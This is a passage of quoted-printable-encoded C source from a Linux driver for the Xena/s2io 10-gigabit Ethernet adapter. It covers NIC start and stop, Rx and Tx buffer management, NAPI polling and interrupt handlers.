write64(&bar0->rx_traffic_mask, 0x0); /* '0' Enables =0A= * all 8 RX =0A= * interrupt =0A= * levels.=0A= */=0A= } else if (flag =3D=3D DISABLE_INTRS) {=0A= /* Disable Rx Traffic Intrs in the general intr mask =0A= * register.=0A= */=0A= write64(&bar0->rx_traffic_mask, DISABLE_ALL_INTRS);=0A= temp64 =3D read64(&bar0->general_int_mask);=0A= val64 |=3D temp64;=0A= write64(&bar0->general_int_mask, val64);=0A= }=0A= }=0A= }=0A= =0A= /* =0A= * Input Arguments: =0A= * val64 - Value read from adapter status register.=0A= * flag - indicates if the adapter enable bit was ever written once = before.=0A= * Return Value: =0A= * void.=0A= * Description: =0A= * Returns whether the H/W is ready to go or not. Depending on whether =0A= * adapter enable bit was written or not the comparison differs and = the =0A= * calling function passes the input argument flag to indicate this.=0A= */=0A= static int verify_xena_quiescence(u64 val64, int flag)=0A= {=0A= int ret =3D FALSE;=0A= u64 tmp64 =3D ~((u64) val64);=0A= =0A= if (!=0A= (tmp64 &=0A= (ADAPTER_STATUS_TDMA_READY | ADAPTER_STATUS_RDMA_READY |=0A= ADAPTER_STATUS_PFC_READY | ADAPTER_STATUS_TMAC_BUF_EMPTY |=0A= ADAPTER_STATUS_PIC_QUIESCENT | ADAPTER_STATUS_MC_DRAM_READY |=0A= ADAPTER_STATUS_MC_QUEUES_READY | ADAPTER_STATUS_M_PLL_LOCK |=0A= ADAPTER_STATUS_P_PLL_LOCK))) {=0A= if (flag =3D=3D FALSE) {=0A= if (!(val64 & ADAPTER_STATUS_RMAC_PCC_IDLE) &&=0A= ((val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) =3D=3D=0A= ADAPTER_STATUS_RC_PRC_QUIESCENT)) {=0A= =0A= ret =3D TRUE;=0A= =0A= }=0A= } else {=0A= if (((val64 & ADAPTER_STATUS_RMAC_PCC_IDLE) =3D=3D=0A= ADAPTER_STATUS_RMAC_PCC_IDLE) &&=0A= (!(val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) ||=0A= ((val64 & ADAPTER_STATUS_RC_PRC_QUIESCENT) =3D=3D=0A= ADAPTER_STATUS_RC_PRC_QUIESCENT))) {=0A= =0A= ret =3D TRUE;=0A= =0A= }=0A= }=0A= }=0A= =0A= return ret;=0A= }=0A= =0A= /* =0A= * New procedure to clear mac address reading problems on Alpha = platforms=0A= *=0A= */=0A= void FixMacAddress(nic_t * sp)=0A= {=0A= int i;=0A= =0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) sp->bar0;=0A= =0A= write64(&bar0->gpio_control, 0x0060000000000000);=0A= udelay(10);=0A= write64(&bar0->gpio_control, 0x0060600000000000);=0A= udelay(10);=0A= =0A= /* Create start condition */=0A= write64(&bar0->gpio_control, 0x0040600000000000);=0A= udelay(10);=0A= write64(&bar0->gpio_control, 0x0000600000000000);=0A= udelay(10);=0A= write64(&bar0->gpio_control, 0x0020600000000000);=0A= udelay(10);=0A= write64(&bar0->gpio_control, 0x0060600000000000);=0A= udelay(10);=0A= =0A= /* Scan 9 consecutives ones */=0A= for (i =3D 0; i < 9; i++) {=0A= write64(&bar0->gpio_control, 0x0020600000000000);=0A= udelay(10);=0A= write64(&bar0->gpio_control, 0x0060600000000000);=0A= udelay(10);=0A= }=0A= =0A= /* Create stop condition */=0A= write64(&bar0->gpio_control, 0x0020600000000000);=0A= udelay(10);=0A= write64(&bar0->gpio_control, 0x0000600000000000);=0A= udelay(10);=0A= write64(&bar0->gpio_control, 0x0040600000000000);=0A= udelay(10);=0A= write64(&bar0->gpio_control, 0x0060600000000000);=0A= udelay(10);=0A= =0A= }=0A= =0A= /* =0A= * Input Arguments: =0A= * device private variable.=0A= * Return Value: =0A= * SUCCESS on success and -1 on failure.=0A= * Description: =0A= * This function actually turns the device on. Before this =0A= * function is called, all Registers are configured from their reset = states =0A= * and shared memory is allocated but the NIC is still quiescent. On =0A= * calling this function, the device interrupts are cleared and the NIC = is=0A= * literally switched on by writing into the adapter control register.=0A= */=0A= static int startNic(struct s2io_nic *nic)=0A= {=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= struct net_device *dev =3D nic->dev;=0A= register u64 val64 =3D 0;=0A= u16 interruptible, i;=0A= int ret;=0A= u16 subid;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &nic->mac_control;=0A= config =3D &nic->config;=0A= =0A= /* PRC Initialization and configuration */=0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= write64(&bar0->prc_rxd0_n[i],=0A= (u64) nic->rx_blocks[i][0].block_dma_addr);=0A= val64 =3D read64(&bar0->prc_ctrl_n[i]);=0A= val64 |=3D PRC_CTRL_RC_ENABLED;=0A= write64(&bar0->prc_ctrl_n[i], val64);=0A= }=0A= =0A= /* Enabling MC-RLDRAM */=0A= val64 =3D read64(&bar0->mc_rldram_mrs);=0A= val64 |=3D MC_RLDRAM_QUEUE_SIZE_ENABLE | MC_RLDRAM_MRS_ENABLE;=0A= write64(&bar0->mc_rldram_mrs, val64);=0A= set_current_state(TASK_INTERRUPTIBLE);=0A= schedule_timeout(HZ / 10);=0A= =0A= /* Enabling ECC Protection. */=0A= val64 =3D read64(&bar0->adapter_control);=0A= val64 &=3D ~ADAPTER_ECC_EN;=0A= write64(&bar0->adapter_control, val64);=0A= =0A= /* Clearing any possible Link state change interrupts that could have=0A= * popped up just before Enabling the card.=0A= */=0A= val64 =3D read64(&bar0->mac_rmac_err_reg);=0A= if (val64)=0A= write64(&bar0->mac_rmac_err_reg, val64);=0A= =0A= /* Verify if the device is ready to be enabled, if so enable it. */=0A= val64 =3D read64(&bar0->adapter_status);=0A= if (verify_xena_quiescence(val64, nic->device_enabled_once) =3D=3D=0A= FALSE) {=0A= DBG_PRINT(ERR_DBG, "%s: device is not ready, ", dev->name);=0A= #ifndef XENA_ARCH_64=0A= DBG_PRINT(ERR_DBG, "Adapter status reads: 0x%llx\n",=0A= val64);=0A= #else=0A= DBG_PRINT(ERR_DBG, "Adapter status reads: 0x%lx\n", val64);=0A= #endif=0A= return FAILURE;=0A= }=0A= =0A= /* Enable select interrupts */=0A= interruptible =3D TX_TRAFFIC_INTR | RX_TRAFFIC_INTR | TX_MAC_INTR |=0A= RX_MAC_INTR;=0A= en_dis_able_NicIntrs(nic, interruptible, ENABLE_INTRS);=0A= =0A= /* With some switches, link might be already up at this point.=0A= * Because of this weird behavior, when we enable laser, =0A= * we may not get link. We need to handle this. We cannot =0A= * figure out which switch is misbehaving. So we are forced to =0A= * make a global change. =0A= */=0A= =0A= /* Enabling Laser. */=0A= val64 =3D read64(&bar0->adapter_control);=0A= val64 |=3D ADAPTER_EOI_TX_ON;=0A= write64(&bar0->adapter_control, val64);=0A= =0A= /* SXE-002: Initialize link and activity LED */=0A= ret =3D=0A= pci_read_config_word(nic->pdev, PCI_SUBSYSTEM_ID,=0A= (u16 *) & subid);=0A= if ((subid & 0xFF) >=3D 0x07) {=0A= val64 =3D read64(&bar0->gpio_control);=0A= val64 |=3D 0x0000800000000000;=0A= write64(&bar0->gpio_control, val64);=0A= val64 =3D 0x0411040400000000;=0A= write64((u64 *) ((u8 *) bar0 + 0x2700), val64);=0A= }=0A= =0A= /* Enabling activity LED on the NIC by writing into Mac_Dbg register on = new=0A= * celestica cards.=0A= */=0A= /*=0A= ret =3D pci_read_config_word(nic->pdev, PCI_SUBSYSTEM_ID, (u16 = *)&subid);=0A= if((subid =3D=3D 0x4406) || (subid =3D=3D 0x6406))=0A= write64(&bar0->mac_debug_ctrl, MAC_DBG_ACTIVITY_VALUE);=0A= */=0A= =0A= /* =0A= * Here we are performing soft reset on XGXS to =0A= * force link down. Since link is already up, we will get=0A= * link state change interrupt after this reset=0A= */=0A= =0A= write64(&bar0->dtx_control, 0x8007051500000000);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80070515000000E0);=0A= udelay(50);=0A= write64(&bar0->dtx_control, 0x80070515001F00E4);=0A= udelay(50);=0A= =0A= return SUCCESS;=0A= }=0A= =0A= /* =0A= * Input Arguments: =0A= * nic - device private variable.=0A= * Return Value: =0A= * void.=0A= * Description: =0A= * Free all queued Tx buffers.=0A= */=0A= void freeTxBuffers(struct s2io_nic *nic)=0A= {=0A= struct net_device *dev =3D nic->dev;=0A= struct sk_buff *skb;=0A= TxD_t *txdp;=0A= int i, j;=0A= #if DEBUG_ON=0A= int cnt =3D 0;=0A= #endif=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &nic->mac_control;=0A= config =3D &nic->config;=0A= =0A= spin_lock(&nic->tx_lock);=0A= for (i =3D 0; i < config->TxFIFONum; i++) {=0A= for (j =3D 0; j < config->TxCfg[i].FifoLen - 1; j++) {=0A= txdp =3D mac_control->txdl_start[i] +=0A= (config->MaxTxDs * j);=0A= =0A= if (!(txdp->Control_1 & TXD_LIST_OWN_XENA)) {=0A= /* If owned by host, ignore */=0A= continue;=0A= }=0A= skb =3D=0A= (struct sk_buff *) ((unsigned long) txdp->=0A= Host_Control);=0A= if (skb =3D=3D NULL) {=0A= DBG_PRINT(ERR_DBG, "%s: NULL skb ",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, "in Tx Int\n");=0A= spin_unlock(&nic->tx_lock);=0A= return;=0A= }=0A= #if DEBUG_ON=0A= cnt++;=0A= #endif=0A= dev_kfree_skb(skb);=0A= memset(txdp, 0, sizeof(TxD_t));=0A= }=0A= #if DEBUG_ON=0A= DBG_PRINT(INTR_DBG,=0A= "%s:forcibly freeing %d skbs on FIFO%d\n",=0A= dev->name, cnt, i);=0A= #endif=0A= }=0A= spin_unlock(&nic->tx_lock);=0A= }=0A= =0A= /* =0A= * Input Arguments: =0A= * nic - device private variable.=0A= * Return Value: =0A= * void.=0A= * Description: =0A= * This function does exactly the opposite of what the startNic() =0A= * function does. This function is called to stop =0A= * the device.=0A= */=0A= static void stopNic(struct s2io_nic *nic)=0A= {=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= register u64 val64 =3D 0;=0A= u16 interruptible, i;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &nic->mac_control;=0A= config =3D &nic->config;=0A= =0A= /* Disable all interrupts */=0A= interruptible =3D TX_TRAFFIC_INTR | RX_TRAFFIC_INTR | TX_MAC_INTR |=0A= RX_MAC_INTR;=0A= en_dis_able_NicIntrs(nic, interruptible, DISABLE_INTRS);=0A= =0A= /* Disable PRCs */=0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= val64 =3D read64(&bar0->prc_ctrl_n[i]);=0A= val64 &=3D ~((u64) PRC_CTRL_RC_ENABLED);=0A= write64(&bar0->prc_ctrl_n[i], val64);=0A= }=0A= }=0A= =0A= /* =0A= * Input Arguments: =0A= * device private variable=0A= * Return Value: =0A= * SUCCESS on success or an appropriate -ve value on failure.=0A= * Description: =0A= * The function allocates Rx side skbs and puts the physical=0A= * address of these buffers into the RxD buffer pointers, so that the = NIC=0A= * can DMA the received frame into these locations.=0A= * The NIC supports 3 receive modes, viz=0A= * 1. single buffer,=0A= * 2. three buffer and=0A= * 3. Five buffer modes.=0A= * Each mode defines how many fragments the received frame will be = split =0A= * up into by the NIC. The frame is split into L3 header, L4 Header, =0A= * L4 payload in three buffer mode and in 5 buffer mode, L4 payload = itself =0A= * is split into 3 fragments. As of now only single buffer mode is = supported.=0A= */=0A= int fill_rx_buffers(struct s2io_nic *nic, int ring_no)=0A= {=0A= struct net_device *dev =3D nic->dev;=0A= struct sk_buff *skb;=0A= RxD_t *rxdp;=0A= int off, off1, size, block_no, block_no1;=0A= int offset, offset1;=0A= u32 alloc_tab =3D 0;=0A= u32 alloc_cnt =3D nic->pkt_cnt[ring_no] -=0A= atomic_read(&nic->rx_bufs_left[ring_no]);=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &nic->mac_control;=0A= config =3D &nic->config;=0A= =0A= if (frame_len[ring_no]) {=0A= if (frame_len[ring_no] > dev->mtu)=0A= dev->mtu =3D frame_len[ring_no];=0A= size =3D frame_len[ring_no] + HEADER_ETHERNET_II_802_3_SIZE +=0A= HEADER_802_2_SIZE + HEADER_SNAP_SIZE;=0A= } else {=0A= size =3D dev->mtu + HEADER_ETHERNET_II_802_3_SIZE +=0A= HEADER_802_2_SIZE + HEADER_SNAP_SIZE;=0A= }=0A= =0A= while (alloc_tab < alloc_cnt) {=0A= block_no =3D mac_control->rx_curr_put_info[ring_no].=0A= block_index;=0A= block_no1 =3D mac_control->rx_curr_get_info[ring_no].=0A= block_index;=0A= off =3D mac_control->rx_curr_put_info[ring_no].offset;=0A= off1 =3D mac_control->rx_curr_get_info[ring_no].offset;=0A= offset =3D block_no * (MAX_RXDS_PER_BLOCK + 1) + off;=0A= offset1 =3D block_no1 * (MAX_RXDS_PER_BLOCK + 1) + off1;=0A= =0A= rxdp =3D nic->rx_blocks[ring_no][block_no].=0A= block_virt_addr + off;=0A= if ((offset =3D=3D offset1) && (rxdp->Host_Control)) {=0A= DBG_PRINT(INTR_DBG, "%s: Get and Put", dev->name);=0A= DBG_PRINT(INTR_DBG, " info equated\n");=0A= goto end;=0A= }=0A= =0A= if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= mac_control->rx_curr_put_info[ring_no].=0A= block_index++;=0A= mac_control->rx_curr_put_info[ring_no].=0A= block_index %=3D nic->block_count[ring_no];=0A= block_no =3D mac_control->rx_curr_put_info=0A= [ring_no].block_index;=0A= off++;=0A= off %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= mac_control->rx_curr_put_info[ring_no].offset =3D=0A= off;=0A= /*rxdp =3D nic->rx_blocks[ring_no][block_no].=0A= block_virt_addr + off; */=0A= rxdp =3D (RxD_t *) ((unsigned long) rxdp->Control_2);=0A= DBG_PRINT(INTR_DBG, "%s: Next block at: %p\n",=0A= dev->name, rxdp);=0A= }=0A= =0A= if (rxdp->Control_1 & RXD_OWN_XENA) {=0A= mac_control->rx_curr_put_info[ring_no].=0A= offset =3D off;=0A= goto end;=0A= }=0A= =0A= skb =3D dev_alloc_skb(size + HEADER_ALIGN_LAYER_3);=0A= if (!skb) {=0A= DBG_PRINT(ERR_DBG, "%s: Out of ", dev->name);=0A= DBG_PRINT(ERR_DBG, "memory to allocate SKBs\n");=0A= return -ENOMEM;=0A= }=0A= skb_reserve(skb, HEADER_ALIGN_LAYER_3);=0A= memset(rxdp, 0, sizeof(RxD_t));=0A= rxdp->Buffer0_ptr =3D pci_map_single=0A= (nic->pdev, skb->data, size, PCI_DMA_FROMDEVICE);=0A= rxdp->Control_2 &=3D (~MASK_BUFFER0_SIZE);=0A= rxdp->Control_2 |=3D SET_BUFFER0_SIZE(size);=0A= rxdp->Host_Control =3D (unsigned long) (skb);=0A= rxdp->Control_1 |=3D RXD_OWN_XENA;=0A= off++;=0A= off %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= mac_control->rx_curr_put_info[ring_no].offset =3D off;=0A= atomic_inc(&nic->rx_bufs_left[ring_no]);=0A= alloc_tab++;=0A= }=0A= =0A= end:=0A= return SUCCESS;=0A= }=0A= =0A= /* =0A= * Input Arguments: =0A= * device private variable.=0A= * Return Value: =0A= * NONE.=0A= * Description: =0A= * This function will free all Rx buffers allocated by host.=0A= */=0A= static void freeRxBuffers(struct s2io_nic *sp)=0A= {=0A= struct net_device *dev =3D sp->dev;=0A= int i, j, blk =3D 0, off, buf_cnt =3D 0;=0A= RxD_t *rxdp;=0A= struct sk_buff *skb;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &sp->mac_control;=0A= config =3D &sp->config;=0A= =0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= for (j =3D 0, blk =3D 0; j < config->RxCfg[i].NumRxd; j++) {=0A= off =3D j % (MAX_RXDS_PER_BLOCK + 1);=0A= rxdp =3D sp->rx_blocks[i][blk].block_virt_addr + off;=0A= =0A= if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= rxdp =3D=0A= (RxD_t *) ((unsigned long) rxdp->=0A= Control_2);=0A= j++;=0A= blk++;=0A= }=0A= =0A= skb =3D=0A= (struct sk_buff *) ((unsigned long) rxdp->=0A= Host_Control);=0A= if (skb) {=0A= pci_unmap_single(sp->pdev, (dma_addr_t)=0A= rxdp->Buffer0_ptr,=0A= dev->mtu +=0A= HEADER_ETHERNET_II_802_3_SIZE=0A= + HEADER_802_2_SIZE +=0A= HEADER_SNAP_SIZE,=0A= PCI_DMA_FROMDEVICE);=0A= dev_kfree_skb(skb);=0A= atomic_dec(&sp->rx_bufs_left[i]);=0A= buf_cnt++;=0A= }=0A= memset(rxdp, 0, sizeof(RxD_t));=0A= }=0A= mac_control->rx_curr_put_info[i].block_index =3D 0;=0A= mac_control->rx_curr_get_info[i].block_index =3D 0;=0A= mac_control->rx_curr_put_info[i].offset =3D 0;=0A= mac_control->rx_curr_get_info[i].offset =3D 0;=0A= atomic_set(&sp->rx_bufs_left[i], 0);=0A= DBG_PRINT(INIT_DBG, "%s:Freed 0x%x Rx Buffers on ring%d\n",=0A= dev->name, buf_cnt, i);=0A= }=0A= }=0A= =0A= /*=0A= * Input Argument: =0A= * dev - pointer to the device structure.=0A= * budget - The number of packets that were budgeted to be processed = during=0A= * one pass through the 'Poll" function.=0A= * Return value:=0A= * 0 on success and 1 if there are No Rx packets to be processed.=0A= * Description:=0A= * Comes into picture only if NAPI support has been incorporated. It = does=0A= * the same thing that rxIntrHandler does, but not in a interrupt = context=0A= * also It will process only a given number of packets.=0A= */=0A= #ifdef CONFIGURE_NAPI_SUPPORT=0A= static int s2io_poll(struct net_device *dev, int *budget)=0A= {=0A= nic_t *nic =3D (nic_t *) dev->priv;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= int pkts_to_process =3D *budget, pkt_cnt =3D 0;=0A= register u64 val64 =3D 0;=0A= rx_curr_get_info_t offset_info;=0A= int i, block_no;=0A= u16 val16, cksum;=0A= struct sk_buff *skb;=0A= RxD_t *rxdp;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &nic->mac_control;=0A= config =3D &nic->config;=0A= =0A= if (pkts_to_process > dev->quota)=0A= pkts_to_process =3D dev->quota;=0A= =0A= val64 =3D read64(&bar0->rx_traffic_int);=0A= write64(&bar0->rx_traffic_int, val64);=0A= =0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= if (--pkts_to_process < 0) {=0A= goto no_rx;=0A= }=0A= offset_info =3D mac_control->rx_curr_get_info[i];=0A= block_no =3D offset_info.block_index;=0A= rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr +=0A= offset_info.offset;=0A= while (!(rxdp->Control_1 & RXD_OWN_XENA)) {=0A= if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= rxdp =3D=0A= (RxD_t *) ((unsigned long) rxdp->=0A= Control_2);=0A= offset_info.offset++;=0A= offset_info.offset %=3D=0A= (MAX_RXDS_PER_BLOCK + 1);=0A= block_no++;=0A= block_no %=3D nic->block_count[i];=0A= mac_control->rx_curr_get_info[i].=0A= offset =3D offset_info.offset;=0A= mac_control->rx_curr_get_info[i].=0A= block_index =3D block_no;=0A= continue;=0A= }=0A= skb =3D=0A= (struct sk_buff *) ((unsigned long) rxdp->=0A= Host_Control);=0A= if (skb =3D=3D NULL) {=0A= DBG_PRINT(ERR_DBG, "%s: The skb is ",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, "Null in Rx Intr\n");=0A= return 0;=0A= }=0A= val64 =3D RXD_GET_BUFFER0_SIZE(rxdp->Control_2);=0A= val16 =3D (u16) (val64 >> 48);=0A= cksum =3D RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= pci_unmap_single(nic->pdev, (dma_addr_t)=0A= rxdp->Buffer0_ptr,=0A= dev->mtu +=0A= HEADER_ETHERNET_II_802_3_SIZE +=0A= HEADER_802_2_SIZE +=0A= HEADER_SNAP_SIZE,=0A= PCI_DMA_FROMDEVICE);=0A= rxOsmHandler(nic, val16, rxdp, i);=0A= pkt_cnt++;=0A= offset_info.offset++;=0A= offset_info.offset %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= rxdp =3D=0A= nic->rx_blocks[i][block_no].block_virt_addr +=0A= offset_info.offset;=0A= mac_control->rx_curr_get_info[i].offset =3D=0A= offset_info.offset;=0A= }=0A= }=0A= if (!pkt_cnt)=0A= pkt_cnt =3D 1;=0A= =0A= for (i =3D 0; i < config->RxRingNum; i++)=0A= fill_rx_buffers(nic, i);=0A= =0A= dev->quota -=3D pkt_cnt;=0A= *budget -=3D pkt_cnt;=0A= netif_rx_complete(dev);=0A= =0A= /* Re enable the Rx interrupts. */=0A= en_dis_able_NicIntrs(nic, RX_TRAFFIC_INTR, ENABLE_INTRS);=0A= return 0;=0A= =0A= no_rx:=0A= for (i =3D 0; i < config->RxRingNum; i++)=0A= fill_rx_buffers(nic, i);=0A= dev->quota -=3D pkt_cnt;=0A= *budget -=3D pkt_cnt;=0A= return 1;=0A= }=0A= #else=0A= /* =0A= * Input Arguments: =0A= * device private variable.=0A= * Return Value: =0A= * NONE.=0A= * Description: =0A= * If the interrupt is because of a received frame or if the =0A= * receive ring contains fresh as yet un-processed frames, this = function is=0A= * called. It picks out the RxD at which place the last Rx processing = had =0A= * stopped and sends the skb to the OSM's Rx handler and then = increments =0A= * the offset.=0A= */=0A= static void rxIntrHandler(struct s2io_nic *nic)=0A= {=0A= struct net_device *dev =3D (struct net_device *) nic->dev;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= rx_curr_get_info_t offset_info;=0A= RxD_t *rxdp;=0A= struct sk_buff *skb;=0A= u16 val16, cksum;=0A= register u64 val64 =3D 0;=0A= int i, block_no;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= = =0A= mac_control =3D &nic->mac_control;=0A= config =3D &nic->config;=0A= =0A= #if DEBUG_ON=0A= nic->rxint_cnt++;=0A= #endif=0A= =0A= /* rx_traffic_int reg is an R1 register, hence we read and write back =0A= * the samevalue in the register to clear it.=0A= */=0A= val64 =3D read64(&bar0->rx_traffic_int);=0A= write64(&bar0->rx_traffic_int, val64);=0A= =0A= for (i =3D 0; i < config->RxRingNum; i++) {=0A= offset_info =3D mac_control->rx_curr_get_info[i];=0A= block_no =3D offset_info.block_index;=0A= rxdp =3D nic->rx_blocks[i][block_no].block_virt_addr +=0A= offset_info.offset;=0A= while (!(rxdp->Control_1 & RXD_OWN_XENA)) {=0A= if (rxdp->Control_1 =3D=3D END_OF_BLOCK) {=0A= rxdp =3D (RxD_t *) ((unsigned long)=0A= rxdp->Control_2);=0A= offset_info.offset++;=0A= offset_info.offset %=3D=0A= (MAX_RXDS_PER_BLOCK + 1);=0A= block_no++;=0A= block_no %=3D nic->block_count[i];=0A= mac_control->rx_curr_get_info[i].=0A= offset =3D offset_info.offset;=0A= mac_control->rx_curr_get_info[i].=0A= block_index =3D block_no;=0A= continue;=0A= }=0A= skb =3D (struct sk_buff *) ((unsigned long)=0A= rxdp->Host_Control);=0A= if (skb =3D=3D NULL) {=0A= DBG_PRINT(ERR_DBG, "%s: The skb is ",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, "Null in Rx Intr\n");=0A= return;=0A= }=0A= val64 =3D RXD_GET_BUFFER0_SIZE(rxdp->Control_2);=0A= val16 =3D (u16) (val64 >> 48);=0A= cksum =3D RXD_GET_L4_CKSUM(rxdp->Control_1);=0A= pci_unmap_single(nic->pdev, (dma_addr_t)=0A= rxdp->Buffer0_ptr,=0A= dev->mtu +=0A= HEADER_ETHERNET_II_802_3_SIZE +=0A= HEADER_802_2_SIZE +=0A= HEADER_SNAP_SIZE,=0A= PCI_DMA_FROMDEVICE);=0A= rxOsmHandler(nic, val16, rxdp, i);=0A= offset_info.offset++;=0A= offset_info.offset %=3D (MAX_RXDS_PER_BLOCK + 1);=0A= rxdp =3D=0A= nic->rx_blocks[i][block_no].block_virt_addr +=0A= offset_info.offset;=0A= mac_control->rx_curr_get_info[i].offset =3D=0A= offset_info.offset;=0A= }=0A= }=0A= }=0A= #endif=0A= =0A= /* =0A= * Input Arguments: =0A= * device private variable=0A= * Return Value: =0A= * NONE=0A= * Description: =0A= * If an interrupt was raised to indicate DMA complete of the =0A= * Tx packet, this function is called. It identifies the last TxD whose = buffer=0A= * was freed and frees all skbs whose data have already DMA'ed into the = NICs=0A= * internal memory.=0A= */=0A= static void txIntrHandler(struct s2io_nic *nic)=0A= {=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= struct net_device *dev =3D (struct net_device *) nic->dev;=0A= tx_curr_get_info_t offset_info, offset_info1;=0A= struct sk_buff *skb;=0A= TxD_t *txdlp;=0A= register u64 val64 =3D 0;=0A= int i;=0A= u16 j, frg_cnt;=0A= mac_info_t *mac_control;=0A= struct config_param *config;=0A= #if DEBUG_ON=0A= int cnt =3D 0;=0A= nic->txint_cnt++;=0A= #endif=0A= = =0A= mac_control =3D &nic->mac_control;=0A= config =3D &nic->config;=0A= =0A= /* tx_traffic_int reg is an R1 register, hence we read and write back =0A= * the samevalue in the register to clear it.=0A= */=0A= val64 =3D read64(&bar0->tx_traffic_int);=0A= write64(&bar0->tx_traffic_int, val64);=0A= =0A= for (i =3D 0; i < config->TxFIFONum; i++) {=0A= offset_info =3D mac_control->tx_curr_get_info[i];=0A= offset_info1 =3D mac_control->tx_curr_put_info[i];=0A= txdlp =3D mac_control->txdl_start[i] +=0A= (config->MaxTxDs * offset_info.offset);=0A= while ((!(txdlp->Control_1 & TXD_LIST_OWN_XENA)) &&=0A= (offset_info.offset !=3D offset_info1.offset) &&=0A= (txdlp->Host_Control)) {=0A= /* Check for TxD errors */=0A= if (txdlp->Control_1 & TXD_T_CODE) {=0A= DBG_PRINT(ERR_DBG, "***TxD error %llx\n",=0A= (txdlp->Control_1 & TXD_T_CODE));=0A= }=0A= =0A= skb =3D (struct sk_buff *) ((unsigned long)=0A= txdlp->Host_Control);=0A= if (skb =3D=3D NULL) {=0A= DBG_PRINT(ERR_DBG, "%s: Null skb ",=0A= dev->name);=0A= DBG_PRINT(ERR_DBG, "in Tx Free Intr\n");=0A= return;=0A= }=0A= nic->tx_pkt_count++;=0A= =0A= frg_cnt =3D skb_shinfo(skb)->nr_frags;=0A= =0A= /* For unfragmented skb */=0A= if (!frg_cnt) {=0A= pci_unmap_single(nic->pdev, (dma_addr_t)=0A= txdlp->Buffer_Pointer,=0A= skb->len,=0A= PCI_DMA_TODEVICE);=0A= } else {=0A= TxD_t *txdp =3D txdlp;=0A= =0A= pci_unmap_single(nic->pdev, (dma_addr_t)=0A= txdlp->Buffer_Pointer,=0A= skb->len - skb->data_len,=0A= PCI_DMA_TODEVICE);=0A= =0A= for (j =3D 0; j < frg_cnt; j++) {=0A= skb_frag_t *frag =3D=0A= &skb_shinfo(skb)->frags[j];=0A= =0A= txdp++;=0A= pci_unmap_single(nic->pdev,=0A= (dma_addr_t)=0A= txdp->=0A= Buffer_Pointer,=0A= frag->size,=0A= PCI_DMA_TODEVICE);=0A= }=0A= =0A= }=0A= =0A= dev_kfree_skb_irq(skb);=0A= memset(txdlp, 0,=0A= (sizeof(TxD_t) * config->MaxTxDs));=0A= /* Updating the statistics block */=0A= nic->stats.tx_packets++;=0A= nic->stats.tx_bytes +=3D skb->len;=0A= #if DEBUG_ON=0A= nic->txpkt_bytes +=3D skb->len;=0A= cnt++;=0A= #endif=0A= offset_info.offset++;=0A= offset_info.offset %=3D offset_info.fifo_len + 1;=0A= txdlp =3D mac_control->txdl_start[i] +=0A= (config->MaxTxDs * offset_info.offset);=0A= mac_control->tx_curr_get_info[i].offset =3D=0A= offset_info.offset;=0A= }=0A= #if DEBUG_ON=0A= DBG_PRINT(INTR_DBG, "%s: freed %d Tx Pkts\n", dev->name,=0A= cnt);=0A= #endif=0A= }=0A= =0A= if (netif_queue_stopped(dev))=0A= netif_wake_queue(dev);=0A= }=0A= =0A= /* =0A= * Input Arguments: =0A= * device private variable=0A= * Return Value: =0A= * NONE=0A= * Description: =0A= * If the interrupt was neither because of Rx packet or Tx =0A= * complete, this function is called. If the interrupt was to indicate = a loss=0A= * of link, the OSM link status handler is invoked for any other alarm =0A= * interrupt the block that raised the interrupt is displayed and a H/W = reset =0A= * is issued.=0A= */=0A= static void alarmIntrHandler(struct s2io_nic *nic)=0A= {=0A= struct net_device *dev =3D (struct net_device *) nic->dev;=0A= XENA_dev_config_t *bar0 =3D (XENA_dev_config_t *) nic->bar0;=0A= int quiescence_flag =3D FALSE, cnt =3D 0;=0A= register u64 val64 =3D 0;=0A= =0A= /* Handling link status change error Intr */=0A= val64 =3D read64(&bar0->mac_rmac_err_reg);=0A= if (val64 & RMAC_LINK_STATE_CHANGE_INT) {=0A= val64 =3D read64(&bar0->adapter_status);=0A= if (verify_xena_quiescence(val64, nic->device_enabled_once)=0A= =3D=3D TRUE) {=0A= do {=0A= val64 =3D read64(&bar0->adapter_status);=0A= if (!=0A= (val64 &=0A= (ADAPTER_STATUS_RMAC_REMOTE_FAULT |=0A= ADAPTER_STATUS_RMAC_LOCAL_FAULT))) {=0A= val64 =3D=0A= read64(&bar0->adapter_control);=0A= val64 |=3D ADAPTER_CNTL_EN;=0A= write64(&bar0->adapter_control,=0A= val64);=0A= val64 |=3D ADAPTER_LED_ON;=0A= write64(&bar0->adapter_control,=0A= val64);=0A= val64 =3D=0A= read64(&bar0->adapter_status);=0A= if ((val64 &=0A= 